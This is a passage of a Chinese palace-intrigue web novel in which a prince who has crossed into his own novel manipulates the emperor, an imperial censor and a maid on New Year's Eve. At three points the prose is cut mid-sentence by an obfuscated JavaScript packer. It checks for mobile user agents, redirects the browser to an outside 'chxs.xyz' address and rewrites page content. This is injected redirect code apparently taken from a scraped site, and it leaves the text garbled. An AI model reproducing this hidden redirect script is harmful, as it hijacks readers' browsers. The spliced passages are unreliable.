他让人将礼物抬上,是一株精美贵重的极品红珊瑚。 这尺寸和品相,哪怕是在国都京城,非富即贵之地,也难得一见。 因天子喜爱珊瑚,京城的珊瑚价格节节攀升,居高不下,其中又以红珊瑚为最,一小株便价值千金。 “世子堂兄这是何意?”越青君眉心微蹙,即便他久居深宫,也知道这样送礼绝非真心,其中必有深意。 福王世子看了看周围的下人,越青君抬抬手,示意他们都下去。 待到周围无人时,福王世子才表情一转,带上几分苦恼与羞惭,“六殿下,实不相瞒,今日冒昧登门,确有事相求。” 不等越青君问,他便尽数道来:“起因便是这珊瑚。” “殿下也知道,天子喜爱珊瑚,本次年节,福王府上特地让人寻来了一株极品珊瑚,比您眼前这株更完美,谁知那珊瑚在库房放了几日,却叫人发现那珊瑚竟是假的,那珊瑚商人早就走了,我现在就是想找人算账都不行。” 福王世子一副将眼泪往肚子里咽的委屈模样,“六殿下,先前我爹酒后早已在陛下面前夸下海口,找人算账事小,如今最要紧的,是如何向陛下回禀,您也知道,我们福王府向来在陛下面前排不上号,此事一出,只怕陛下就要问罪了。” 问罪或许不至于,但被天子厌弃确实一定的,宗室向来因为身份被优待,同样也因为身份被忌惮,即便参政,也不可能身居高位,手握权柄。 如此,要想寻求突破,争做宗室中的领头鸡,除了依靠血缘亲疏,就只有学佞臣谄媚天子。 讨好章和帝难也不难。 不难是因为对方就是喜欢听谄媚之言的昏君,说难则是因为天下间绝大部分谄媚讨好的功夫,章和帝都领教过了,阈值极高,想要准确拍到龙屁上,还需要技巧和机遇。 眼前这株珊瑚虽好,但若是要献给天子,那是远远不够格。 “不知世子堂兄可有相熟之人收藏极品珊瑚?”越青君沉思片刻后问。 福王世子苦笑:“若能找到,今日臣也不必来求殿下了。” 越青君面露无奈,“可是世子堂兄,我手中也没有极品珊瑚啊。” 福王世子当然知道,他来找越青君根本就不是为了极品珊瑚,而是想要对方帮自己在章和帝面前说说好话。 他当然知道自己也可以找其他人,但张忠海之流,属于天子近侍,最亲近之人,若他一个不受重视的福王世子竟能说服天子近侍帮自己说话,难保章和帝不会多想。 至于找其他皇子,又免不了牵扯进皇子争斗。 想到越青君也是因为对方上次给他的印象不错,六皇子向来不理朝政,无心帝位,又听说对方时常陪章和帝用膳,让对方帮忙,就是亲戚间的拉拉架和稀泥。 若是越青君这边走不通,他就只有走后妃的路子了。 “世子堂兄相求,无瑕不便推辞,只是效果如何,却是我也不知了。” 见他答应,福王世子连忙喜笑颜开:“自然,自然,这本就是臣的事,殿下能答应,臣便已经感激涕零。” 半个时辰后,福王世子离开,留下了那株红珊瑚。 翌日,越青君就带着红珊瑚回了宫。 章和帝将那株红珊瑚拿在手中看了又看,随手将之丢在桌上,“福王世子让你帮他说好话,你转头就把他出卖给朕?” 越青君笑笑道:“儿臣只是觉得,事无不可对人言,无论是世子堂兄买了假珊瑚,还是儿臣答应他帮忙说好话,都只是一心为了父皇而已,为臣为子,只要对君父的忠心不变,又何惧父皇怪罪?” 他虽未继续说,但脸上的信任却是那样真,让人不忍怀疑。 章和帝心中难得生出一丝对傻儿子的怜爱,“你是心无杂念,一心为君,别人可不一定。” 福王府又不得脸,不算自己人范畴,章和帝自然没有滤镜。 越青君摇头不信,“怎会,世子堂兄近几日一直在找那珊瑚商人,但他始终不承认自己眼光差被骗了,只说是那珊瑚商人做了手脚,偷梁换柱,他还想把那商人找到,将父皇的珊瑚找回来,只因先前答应了父皇,不想食言。” 章和帝心中不悦,只觉得那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“听说你儿子前些日子也满月了,从朕的库房里取一块玉佩给他,但愿孩子长大可别像他爹一样不像样。” 这便算是将珊瑚一事轻轻揭过了。 福王世子一愣,这回是真的,随即连忙俯拜谢恩。 “臣代犬子谢陛下赏赐。” 章和帝见他拜得实诚,心道傻虽傻了点,但也并非一无是处。 “等翻了年,就去御史台寻个闲职,总好过待在家里正事不做,把孩子也带坏了。” 福王世子瞬间明悟,御史台多是风闻言事,这是让他没事就去和人吵架,这“耿直傻子”形象算是要装到底了,朝廷的御史说多不多,说少不少,总不差他一个,老作精果然没那么好心。 此事一出,便以极快的速度传遍后宫前朝,也带来了未曾料到的后果。 大家忽然发现,似乎,好像,这不起眼的六皇子在章和帝面前说话还挺管用? 甭管章和帝是不是拿人当宠物,话说回来,前朝后宫所有人,又有谁在章和帝那里不是随意逗趣的宠物? 只要这只宠物有用,其他又算什么? 而在这方面,这位六皇子就做得格外好。 福王世子在章和帝面前走上一遭,不仅没被怪罪,还得了赏赐,都是六皇子的功劳。 虽然六皇子无母族无权势无支持的臣子还一心修佛不争皇位,但他是真的能在章和帝面前说上话,能影响对方的决断。 仅此一条,便足以让众多欲求天子而不得之人看在眼中。 六皇子卫无瑕之名,也第一次真正被所有人看到。 权势不揽而自成。 虽然是依附他人,虽然并不稳固,但终究迈出了那一步。 众人追之羡之,唯有宁悬明心绪复杂。 明明并非谄媚之人,却要委屈自己常伴帝侧。 他本该是白玉,如今却要做荷莲,染一身淤泥。 “这便是你选的路?”他问。 越青君仍是那副浅笑晏晏的模样,落在宁悬明眼中,却是对方将委屈都藏在心里,不露与他人,乱人心神,一如当初相认时。 “父皇与我血脉相连,他若有错,我也要承担责任,这本就是我应该做的,不必担心我觉得委屈。” 越青君笑着,短短几日,便有无数人想送礼上门,他有什么可委屈的。 唯有宁悬明低垂眉眼,遮掩眼底不忍。 15.出淤泥而不染 李少凡近来意气风发,他因几首诗在京城走红,备受追捧,收到的邀请数都数不过来,尤其在他拒绝了五皇子后,来请他的人更多了。 只是李少凡不知京中情况,也不知那些来邀请他的人背后底细,因而未能察觉出前后邀请他的人有何不同。 李少凡沉浸在被人追捧的繁荣中,看不见埋藏在其中的危机,甚至在别人无故将他和京城中的风云人物孟九思放在一起比较时,他也只是略微疑惑了一会儿,随后自以为这就跟现代娱乐圈,同风格同戏路明星之间的竞争一样,无需什么原因,他们天然便处在竞争的位置,因而其他人也常常将他们放在一起比较。 李少凡非但没有不满,甚至因为自己在二者之间占据上风而略感自得。 在拒绝五皇子,打响名声后,李少凡原本等着五皇子的第二次邀请,然而在那之后,五皇子竟当真觉得他是个视金钱权势如粪土的人,对他表示了尊重,祝福,然后,就没再邀请过他。 紧张了一段时间,见五皇子似乎并未生气,也未曾找他麻烦后,李少凡放下心来,又恢复了原本的高调样。 心里却在心里对着五皇子摇了摇头,心想,招揽人才连三顾茅庐都不会,这样的皇子,必定成不了大事。 但能帮他扬名,也不算半点用也没有。 之后一月,李少凡参加了几次宴会,都是文人清流间的交流,在矜持了一段时间后,确定五皇子那边是真没戏了后,他不得不给自己找其他目标。 他首先目光落在了其中身份地位最高的朝阳公主身上。 来京城这么久,他也并非没听过朝阳公主的名声,公主府上养着一群乐师画师,他倒是不介意吃软饭,但这样一来,他先前为自己树立的形象岂不是要毁得一干二净。 因此,即便心中不舍,他还是忍痛放弃了做公主入幕之宾的想法。 艰难抉择后,李少凡选择了一位未曾入仕为官的世家子。 宴会上,一切都如往常一般,主人家选定题目,请宴上宾客为其作诗,今次主题为雪。 李少凡一句“应是天仙狂醉,乱把白云揉碎”,将宴会气氛推入高潮。 众人连连拍手叫绝,赞美之词不要钱似的往李少凡身上丢。 李少凡笑容含蓄,“都是诸位相让,侥幸得此虚名,承让,承让。” 他面上笑容淡淡,众人只道他不愧是世间大才,做人如此谦虚,却不知李少凡心中的不得劲。 无趣,乏味,翻来覆去都是那些夸赞,连个给他打脸的人都没有,都怪古人太过纯朴? 被吹捧这种事,也是会逐渐提高阈值的,第一次在宴会上大出风头,李少凡飘飘欲仙,第二次被吹捧,李少凡洋洋得意,第三次兴致缺缺,第四次、第五次……如今他只觉得索然无味。 连在天香楼也不像先前那般,一次让一群人进包间,而是只让一二人留下饮酒作乐,弹琴唱曲。 看着宴会上众人,他竟觉得众人皆醉我独醒。 大约是老天爷偏爱穿越者亲儿子,在李少凡想着是否提前离场时,一位一直坐在角落的青年站起身,走到李少凡身边。 “久闻李郎君之名,今日一见,果真名不虚传。” 青年一身靛蓝锦衣,腰间玉佩光泽莹润,质地非凡,头上簪冠镶金嵌玉,行走间更有几分让李少凡难得一见的威仪。 是个金大腿。 当然,在李少凡眼中,金大腿不是用来抱的,而是被他踩着上青云。 “兄台过奖,不过是大家看得起我。” 青年含笑道:“李郎君过谦了,今日之前,我本也以为传言夸大其词,可亲眼见过后,却觉得李郎实至名归,想来在座与我所想一样。” 莫非这就是自己竟从未遇到打脸的原因?李少凡胡思乱想。 一人有意逢迎,一人无心深究,很快二人便相谈甚欢,最后青年自然而然提出想邀请李少凡上自己家中做客。 李少凡有些迟疑,不知为何,明明换作之前,他想也不想就会同意,今日却犹豫了。 “还得是李郎,竟然能得您亲自邀请,我等凡俗人终究不比天上谪仙。”有人在旁故作酸言酸语。 “李郎有福了,听说崔氏府中景致卓尔不群,尤其冬季还有冰雕,就是寻常人难得一见,国舅爷的眼光,也只有陛下与先皇后有幸欣赏。”另一人也在旁附和。 国舅!陛下!先皇后! 李少凡脑中瞬间浮现一句话,老天爷终究是偏爱我的,才想找个贵人,如今竟主动送上门了。 那还有什么可说的,那点莫名其妙的犹豫迅速被李少凡抛诸脑后,立即答应了对方想邀约。 几日后,李少凡循着地址找到崔府,被下人恭恭敬敬迎进门,请到客厅,奉上茶点。 李少凡一边欣赏前厅布置,一边喝着价值不菲的茶水,不过半盏茶,他就脑袋一歪,倒在椅子里不省人事。 书房,管家走到青年面前,小声道:“郎君,人已经带下去了。” 青年手中的笔未有分毫停顿,待到收笔时,“诗仙”二字已然落于纸上。 崔行俭看了片刻,忽而轻笑一声,将这张纸揉成一团,丢进炭盆里,看着那燃起的明艳火焰,他语气悠悠。 “我的‘诗仙’尚且带着匠气,那是什么庸碌俗人,也敢在京城招摇撞骗。” * 临近年关,京城下起了雪,一连几日,不曾停歇,虽说瑞雪兆丰年,但连续几日的大雪终究给京城百姓的生活带来了不便。 越青君让人在城外搭棚施粥,以章和帝的名义。 消息传入章和帝耳中,老作精只觉得这个儿子实在单纯又善良。 即便做了好事,也从不在他面前邀功。 “你说近日六皇子在宫外的府邸很热闹?到底是怎么个热闹法?”章和帝眼神不善地盯着眼前的御史。 御史心中微凉,但还是努力道:“近来京中富商官眷,宗室勋贵,送礼上门者不计其数,其数额巨大,实有结党营私,收受贿赂之嫌……” 见人说不下去了,章和帝转头看向张忠海。 后者上前两步,小声道:“的确有人送重礼给六殿下,但……”他看了那名御史一眼,这才继续道,“但六殿下并未收下那些重礼,即便有人将礼物放在门口,六殿下也是找人将东西送还回去。” “六殿下只收了福王世子的谢礼,见的也只是宗室的旁支远亲,临走时,还给那些人送了东西,都是过冬用得着的。” 什么结党营私,分明是在接济穷亲戚。 章和帝似笑非笑看着面前的御史,“这就是你口中的收受贿赂,结党营私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13729390|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “臣、臣……” “臣也只是听闻……”御史额头冒汗,“未曾深入了解,冤枉了六殿下,是臣之过。” 话又说回来,御史向来如此,只管说,查证是别人的事,他当然也不算错。 可章和帝本就是天下最不讲道理之人,他不在意一个人,当然不会去管对方是否被冤枉,但当他将一个人放在心上,那么无论对方是否冤枉,在章和帝心中都是再清白不过。 “大雪冻死人你不管,百姓过冬艰难你不管,就盯着老六那一亩三分地,他连个皇子府都没有,现在还不伦不类宫里宫外两头跑,老五媳妇又偷偷回娘家拿银子,太子这一个月府上来拜访的客人就没停过,连老七老八都有不少私交往来,你却偏偏盯着老六不放,他连个皇子妃都没有,只能和宗室里的亲戚走动,这也碍着你们事了?!” 章和帝的心一直是偏的,从前能偏心别人,今天也能偏心越青君。 章和帝觉得自己一点问题也没有,老六乖巧懂事,一心为君父,不成婚不入朝,对权势皇位毫无觊觎之心,这样难得的好儿子,不偏心他偏心谁? 刚听前面,御史心中是万分不服气,他是没管城外流民京城百姓,但你章和帝就管了吗?作为天子,你有什么资格说这种话? 听到后面,御史什么话也说不出来了。 皇子们私下与朝臣姻亲勾连这种事自然是大家心知肚明,但有些事心知肚明,就是为了心照不宣,一旦说出来,那就有些难看了,今日这些话虽然是从章和帝口中说出,但皇子们能怪章和帝吗? 既然不能,那就只好让御史承担这份怨气了。 这下倒好,御史也不必担心自己被章和帝厌弃,他得先担心自己这身官服还能不能保住。 此时此刻,他竟然想到了被他捕风捉影的六皇子。 相像六皇子往日行径,御史忍不住泪流满面,若是天下皇子都如六皇子这般,他又何须如此忧惧? 他竟然还参这样的六皇子,他、他真该死啊! 听着吕言细细汇报的越青君,浅浅勾起唇角。 他默默关掉光幕,也关掉了那名御史的详情,心中想着对方抠门人设果然够真实,二十两银子就能收买他身边书童,倒是省了他一笔,耳根子软没主见这一条也不假,书童随便几句,竟真说动他将自己当成业绩。 越青君觉得对方人设里应该加上人傻,趁手工具,随用随听话。 希望他能坚持得久一点吧,说不定今后还能用到呢。 吕言:“殿下近日风头正盛,还需小心行事。”到底是曾经期待过的,吕言也不想轻易放弃。 面对下属的提醒,越青君却是笑容安然,一脸心满意足,与世无争,“旁人误会我,但父皇总是信任我,那我有什么可担心的呢。” 吕言:“……” 越青君眼底笑意愈深。 去吧,去吧,不要手下留情,让我看看你能做到什么地步。 太忠心,太乖巧,可不是什么好的奸佞人设啊。 清清白白的人设立稳了,可以开始造作了。 让他来看看,下一个翻哪个小可爱的名字呢。 本是随意看看,但当越青君视线落在那个名字上时,一种作为作者的预感告诉他,无需再看,就是她了。 16.另类深爱 宫宴前两日,越青君在与宁悬明一同喝茶时,便邀请宁悬明宫宴当日结束后,上他在宫中的住处,他为对方准备了礼物。 宁悬明微微侧头,“殿下自入冬起,便陆续送了不少过冬物资与我,年礼也未落下,如今却是何礼物,竟不能现在给我?” 自相认起,越青君便总是给宁悬明送东西,衣食住行,无不齐全,包括这间府邸中,甚至有专门为宁悬明准备的客房,即便是越青君不在时,他也可以随时来此住,府中上下也会听他吩咐。 这样的优待,已经算是幕僚中的头一份。 但宁悬明也并未拒绝,越青君并未娶妻,也未有子嗣,若是越青君不在,这府邸便是空架子,需要一个能在一起就不便时主持大局之人。 作为越青君的挚友、唯一接受的自己人,宁悬明愿意担起这份责任。 因而他也更不解,究竟有什么礼物,是需要在宫中送的。 越青君弯了弯眉眼,笑道:“既然悬明也知道我送的礼向来不避讳,那么也该明白,这回我要送的与寻常不同。” “况且……”越青君迟疑片刻,抬眸看了宁悬明一眼,方才继续道,“这是我与悬明相识的第一个年节,悬明在京中无亲无故,我亦是孑然一身。” “礼物尚且是次要,我只是想和你一起除旧迎新。” “悬明,你愿意吗?”越青君眼中的真诚与期待几乎要溢出。 宁悬明对上他的视线,心中忽然了然,礼物不过是借口,越青君想要的仅仅是自己共度除夕。 作为挚友,宁悬明自然无有不应,莞尔道:“殿下既然这么说了,那我就恭敬不如从命了。” 越青君含蓄低头,唇边笑意却不曾遮掩。 好友固然能在最初获得最高好感,但对于一个从未有过爱情线的人来说,想要让他爱上谁,本就很难,想要让感情变质,更是难上加难。 但,正是难,才更有意思,不是吗? 越青君从未写过真挚的感情戏,第一次写,就要赔上自己。 这大约也是他最满意眷属。 怎能不算深爱。 * 宫宴当日,百官到场,人员冗杂,高官重臣及章和帝喜爱的官员,自然能在殿内占据一席之地,但其他人只能屈居侧殿,若是侧殿偏殿都坐不下,那不好意思,您就只能在廊下或者殿外委屈一下了。 宁悬明的官职不够进正殿,因而虽然都在宴席上,两人却见不着面。 越青君凭借章和帝的喜爱,得了个距离章和帝较近的位置,在皇子中,只比太子与五皇子差一点。 太子位居嫡长,名正言顺,五皇子背后站着文官集团,是皇位有力竞争者,二人地位不可动摇。 而在越青君之下,还有瘸腿的大皇子,生母为异族,样貌颇具异域风情的二皇子,一模一样的双胞胎老七老八,还未成婚开府的老十,余下年纪更小。 公主那边则是更简单,除了皇后所出的朝阳公主,其余公主在章和帝那里可能连名字都懒得记,成年出嫁定封号,也是礼部送来几个寓意好的挑一个。 朝阳公主何止在公主中一骑绝尘,在皇子中也不遑多让,甚至因为只是公主,章和帝宠爱起来更没什么顾忌,否则也不会公主明目张胆养面首,驸马及其家族敢怒不敢言。 此时,朝阳公主便在众目睽睽下走到崔行俭面前,“表兄,你也太霸道了,我好不容易看中一人,你不仅先截胡我,还将人留到现在都不放,不知道的,还以为你改好男色了,那我可就要和表嫂好好说道说道。” 虽然文贵妃总以表妹自称,但她不过是太后那边的亲戚,虽是章和帝表妹,但却隔了一层。 严格来说,先皇后才是章和帝的嫡亲表妹,崔行俭也是太子正儿八经的表兄,因先皇后早年去世,太子自小便养在如今的皇后膝下,皇后膝下唯一的朝阳公主,便也自小便叫崔行俭表兄。 面对朝阳的质问,崔行俭既没有说朝阳公主荒唐,甚至没对朝阳的话有什么指责与辩解,大约也是习惯了。 “不过是见那人颇有些才华,才留他几日,朝阳若是喜欢,过些时日就能见到他了。” 朝阳公主面露惊讶,“连表兄都说那人有才华,竟然不是沽名钓誉之辈吗?” 接着,她又连连拍手叫好,笑眯了眼,“不错,不错,本宫养过画师乐师,可还没怎么养过什么才子,也不知道这真正的才子是何滋味。” 如今世家势大,但凡读过书的,有资格读书的,皆与世家有关,这样的人,可不愿意进公主府。 朝阳公主从前顶多只能与这些人来段露水情缘,若是能光明正大将人养在府上,可谓极有成就感。 崔行俭笑容意味深长,“自然,都是真才实学。” “表兄,莫要和朝阳胡闹,朝阳也是,你府上那些人父皇和朝臣已经睁一只眼闭一只眼,你若是将手伸到读书人,还是那样名动京城的才子,看弹劾的奏折能不能淹了你。”太子走过来道。 朝阳满脸不在乎,理了理头上的步摇,“三哥说得好像我又能见到那些奏折似的,弹劾的奏折再多,又不是我看,我担心什么。” 太子:“……” 太子转头看向崔行俭:“表兄,日后莫要再纵容朝阳了。” 崔行俭笑笑道:“朝阳不过是随性而为,本就是金枝玉叶,随性一点又有何妨。” 朝阳满脸笑意地看着崔行俭:“我果然最喜欢表兄了,三哥母后都只让我要贞静贤淑,只有表兄懂我。” 太子实在看不下去,将崔行俭拉走,“表兄莫和朝阳胡闹,上次你给我留点问题,我已经有了几分心得,想请表兄指教。” 五皇子正化身交际花,游走于殿内,与殿内官员往来攀谈,面对太子时却是作出一副贤德好弟弟的模样,多有谦让,模样极具欺骗性。 但也只有太子有这个面子,对于其他兄弟,五皇子并不愿意耗费心神,至于让他吃瘪,诸事不顺的越青君,在他那里则成了透明人,多看一眼都是给对方脸了。 太子与崔行俭谈笑风生,却丝毫未注意到,崔行俭在太子凑近时,将双手背在身后,眼底藏着谁也没看出来的淡淡轻蔑。 驸马被朝阳公主嫌弃,却仍要维持笑脸,跟在对方身边。 宴上人来人往,显露世俗百态,宫宴还未开始,就已经上演了一出又一出好戏。 越青君垂目侧耳,正听戏听得津津有味,忽然感觉身下支着的桌案被人狠狠撞击,越青君胸口一闷。 “咳、咳咳……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13733474|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 越青君揉了揉胳膊肘,又捂着胸口缓了半晌,这才好些。 抬头看去,却见是一魁梧男子,正双手环胸,好整以暇看着自己,见他抬头面露疑惑,似乎有些不解,魁梧男子忽然一笑,惊异道:“竟然真的不生气?” “你是泥人吗?” 不等越青君回答,他又继续自顾自道:“也对,你本来就是泥人,否则怎么能夹缝求生成功长大呢。”说罢,那人便哈哈大笑起来。 他俯身低头,含笑道:“你可要小心点,小心夹紧尾巴,可别露出来了,被我抓到就要遭了。” 越青君面上显露些许无奈,“大哥。” 大皇子却是不搭理他,转身回自己位置上喝酒了。 今日年节宫宴,越青君桌案上也不可避免摆了一壶酒,宫女将酒杯斟满,越青君却并未动。 坐了一会儿,越青君余光瞥见身后站着的吕言,好似想起什么,吕言却已经上前,“殿下,您吩咐的事,奴婢已经安排好了。” 越青君点点头:“你做事,我向来放心,不过我要说的不是这个。” 吕言静候着,却见越青君眉眼一弯,温和笑道:“既是过节,今日也不必彻夜侍候,我让人从宫外采买了一些爆竹,还让他们筹备了席面,你快回去,否则赶不上热闹。” 吕言一愣。 宫人自然也能过节,只是却要在伺候完主子后,越青君却是让他们不必伺候,自个儿去过节,传出去,也能说他一句待人宽和了。 尤其作为身边人,吕言更知道,越青君这样的宽和并非装模作样,而是真心实意,融入生活,随时随地。 然而宽和虽好,可若是少了几分威严,那这份宽和就是祸不是福。 从前吕言愿意成为那份威严,压住底下的人,但他当真要一直如此吗? 吕言一直坚信自己能有大作为,时至今日,从未改变。 抬头望去,太子众星捧月,五皇子身边也热闹非凡,除了性情古怪的大皇子无人愿意靠近,便是身具异族血脉的二皇子身边都有妻族敬酒。 越青君却是孑然一身,一身云锦将他衬得好似天上仙神,只要愿意便能化羽而归。 京城最近总夸赞那什么李郎君是诗仙,但在吕言眼中,世上若论仙气,无人能及越青君。 但既是仙,自然更不理俗世红尘,钱财权欲。 总归不是一路人。 片刻后,越青君余光瞥见吕言退下的身影,端起酒杯,遮住笑唇。 杯中的酒远不如越青君曾经在现代喝过的各种美酒,但此时此刻,他却觉得美味至极,格外醉人。 抬眼望去,满座宾客,衣香鬓影,落在越青君眼中,这就是他的江山。 并非是那座高高在上的龙椅,而是这生动鲜活的红尘人间。 曾经落于笔下的文字,带着它新生的灵魂,呈现在他眼前。 他爱这个世界。 越青君忽然很想,很想见宁悬明,有宁悬明的地方,才是这个世界最明媚的画面。 杯中的酒空了一杯又一杯,越青君努力压抑着心中的兴奋,今晚最重要的戏,可还没开始唱。 片刻后,章和帝姗姗来迟,身边跟着近日宠爱的妃子,待他落座,宫宴正式开始。 17.两杯酒,生死对饮 历年年节宫宴的流程总是那一套,天子宴前发言更是毫无新意。 不外乎是回顾过去,展望未来。 而前者对于章和帝而言,更是简洁干脆,毕竟他在过去一年里,做过的好事一只手也数得过来。 只是苦了礼部,要绞尽脑汁将这么点政绩扩充成文章,且要文辞华美,内容充实,也不知掉了多少青丝白发。 还好,大约是章和帝也觉得这一环节,枯燥乏味,简单过了了事,并未发表长篇大论。 之后便是君臣、尤其是章和帝最期待的部分。 宫中乐师舞姬们表演,场景宏大,舞蹈华丽,乐声不绝如缕,君臣皆沉浸其中,欣赏难得的视听盛宴。 靡靡之音响彻大殿,整个殿中仿佛变成了天宫瑶池,众人皆是天上仙神,忘尽烦忧。 看不见民间血雨珠泪,听不见百姓哀泣痛哭,闭目塞听,缄默至此,仿佛如今当真是太平盛世了。 章和帝沉溺享乐,又有爱妃时时争夺注意,因而也并未注意,在自己下方不远处,有人悄悄离了席。 五皇子却是眼观六路耳听八方,在越青君起身时,便注意到了,在对方走后,也悄悄给身后一名不起眼的宫女使了个眼色。 后者垂下头,悄然退下。 太子尚且随着乐声摇头晃脑,直到被身后人提醒,方才醒神。 “什么事?”太子皱眉不悦。 这名内侍乃是皇后安排在他身边,既是照顾他,也是随时通传消息。 内侍屈身附耳,小声道:“殿下,娘娘让你今夜在燃放爆竹时,带人前往旁边的秋芜殿。” 皇后知道太子愚钝,做什么都容易出差错,因而若是自己要做什么,并不会提前告知太子,若要太子配合时,也只是直接吩咐。 太子虽然早已习惯了这种模式,也未有什么异议,但每每这样时,他心中却是苦闷又无奈。 他的母后在竭尽全力稳固他的太子之位,任何人都不可动摇,即便是他自己。 一口将杯中酒闷了下去,半晌,方才冷冷道:“本宫知道了。” 殿外,越青君刚一出来,便有宫女拿着一件大氅匆匆跟来,“殿外风霜雪寒,殿下莫要受凉。” 越青君任由她动作灵巧地为自己系好系带,低头打量了一下对方,借着灯光瞧清样貌,“绿珠,是你啊。” 他双眸微眯,似有醉意,“我不是让你们都回宫吃席了吗。” 绿珠低头垂眸,“殿下开恩,我等奴婢自当感激万分,但殿下身边却不能没有侍候的人。” 越青君抬步缓缓走下台阶:“那只有你在这里,岂不孤单?” 绿珠紧随其后,“奴婢侍候殿下,岂敢言孤单二字,让殿下时时舒心,是奴婢职责。” 行至重华宫外,越青君只觉得又冷了几分,“你这般贴心尽责,想来不必多久便要升职了,有想过之后想去哪所宫殿吗?” 绿珠向来淡定的面上不由微微一愣。 不过很快,她便反应过来,“殿下宅心仁厚,奴婢怎会离开明镜宫,另寻他处。” 越青君笑笑,“你聪明伶俐,行事妥帖,先前为何会在内廷耽搁许久?” 绿珠沉默,似有顾虑,片刻之后才继续道:“曾有内侍威逼奴婢,有意染指,奴婢不肯,那人便托关系了让人寻奴婢错处,直至殿下宫中急需人手,奴婢方才能得以解脱,若殿下不嫌弃,奴婢想永远留在明镜宫。” 越青君垂眸,视线落于地面,晦暗不明,未有幽幽语气,带着独属于冬日的霜寒,又好似含有几分醉意中的温柔,“你的愿望,我自是帮你实现。” 今夜年节,宫中来了众多勋贵大臣及家中女眷,宫中守卫自然要更严实几分,只是出了热闹的重华宫,远离了那靡靡之音,自然也要冷清许多。 宫人偷懒,路上灯笼灭了几盏,也未及时补上,越青君喝了酒,脚步难免飘忽,踩在一块鹅卵石上,未能及时稳住,往前一滑,单膝跪在地上。 “殿下!”绿珠赶紧上前搀扶,“殿下,您没事吧?” 越青君摆摆手,示意自己无事,然而他迟迟未曾出声,显然并非安然无恙。 “殿下,奴婢扶您起身。” 在绿珠的搀扶下,越青君站了起来,走路却是一瘸一拐,脚下不稳。 绿珠一边扶着他一边道:“前面是供人歇脚的秋芜殿,奴婢先扶殿下去那里休息,再去请今夜当值的御医。” 越青君点头表示同意。 主仆二人走向秋芜殿,走近便见秋芜殿内灯火通明,甚至桌上还备有酒水点心。 平日里宫人内官往来于宫中时,也会在途中进某些偏殿歇脚,其中备有茶水点心也不算稀奇,只是今日年节,这殿中备的东西多了些。 皇子在此,自然也没有不长眼的宫人胆敢跟皇子争落脚宫殿,皆是远远绕路,不愿招惹是非。 绿珠扶越青君坐下,看了一眼桌上酒水,“殿下,这殿内食水未被人用过。” “您先在此歇息,奴婢这就去请御医。” 然而方才在外面还忍痛不语的越青君,此时却是一脸轻松从容,微微一笑,视线瞥了一眼桌上酒水,语气温和道:“本就是你准备的,自然不会有人动。” 绿珠心头一凛,手脚一寒,不禁逾越本分,大胆抬眼看向越青君,却见对方面带笑意,烛光下,面上染了一层酒意薄红,眼神却是清明无比,正静静看着自己。 越青君端起桌上酒壶,斟满两杯酒。 “你的主子应当只是想让我在人前出丑,应当不介意与我一同出丑的人是谁。” 惊惧之下,绿珠脚步不自觉向后移了半步。 此时此刻,面对温柔含笑的越青君,绿珠再也不会觉得对方温和无害,反而觉得此人是披着人皮的魔鬼,可怕至极。 主子的打算究竟能不能成功,绿珠已经无心去想,事实上这已毫无疑问。 如今,她更需要担心的是自己。 越青君却仿佛毫无所觉,仍旧笑笑,甚至为绿珠拉出凳子,示意对方坐下。 “不用这么紧张,真的只是聊聊。” 唇边笑意不变,仿佛随时能将人拉下深渊,“坐。” 哐当——! 厚重的殿门被关上。 * 明镜宫 与往日不同,今日宫中格外热闹,院里摆了几桌席面,几个年纪小的正在放爆竹,笑声阵阵,快活地不行。 吕言静静看着这一切,心中想的却是不在这儿的人。 他知道绿珠是皇后的暗棋,也知道对方今夜坚持留下,必然有所动作,皇后向来贤惠,无论是为名声,又或是别的,既然她担了贤惠之名,那必然不会轻易留下把柄。 皇后出手不算狠,但每次都十分精准,找出对方最薄弱的地方,然后一击致命。 吕言不必深想,便知道对方大约会用什么手段。 可他依然没有阻拦。 “吕总管,菜都上齐了,您快入座吧,殿下今日特地将库房里那瓶陈年女儿红开了送与我们喝。”一名年纪尚小的小内侍凑过来道,说话时,脸上都是笑容。 吕言还记得,这名小内官刚来明镜宫时还战战兢兢,多吃一口饭都害怕被打,会小心看他脸色。 收他进来,就是为他那股虽然稚嫩,但却有天赋的聪明劲儿。 然而这才半年,这人便被养成了这副傻样。 “你们先吃吧,今日殿下饮了酒,我去给殿下备些醒酒汤送去。” 傻虽傻,但这世上,总要有一些傻子存在,才显世间太平。 吕言心中暗暗划去一笔,过了今日,他欠六皇子的恩便算还完了。 抬步匆匆离去,目标明确直至重华宫侧殿。 若这世上还有谁会帮六皇子,也只有那一人而已。 * 秋芜殿内香气弥漫,绿珠呼吸急促,胸口起伏不定。 越青君却仍是那般不疾不徐,仿佛一点也不担心。 绿珠不说话,他也不催促,而是悠悠开口。 “你七岁入宫,自卖自身,为了给弟弟治病。” 绿珠霍然抬头,目光紧紧盯着越青君。 “此后多年,你多次托人送银子给老家叔婶,用作弟弟日常起居,衣食住行。” “几年前,你几次让人送信给弟弟,想与对方见上一面,对方却始终搪塞,托人打听,却只得到叔婶搬家,弟弟也不知所踪。” 绿珠声音发颤:“殿下好心机,好手段,竟然将奴婢那点微末小事都查得一清二楚。” 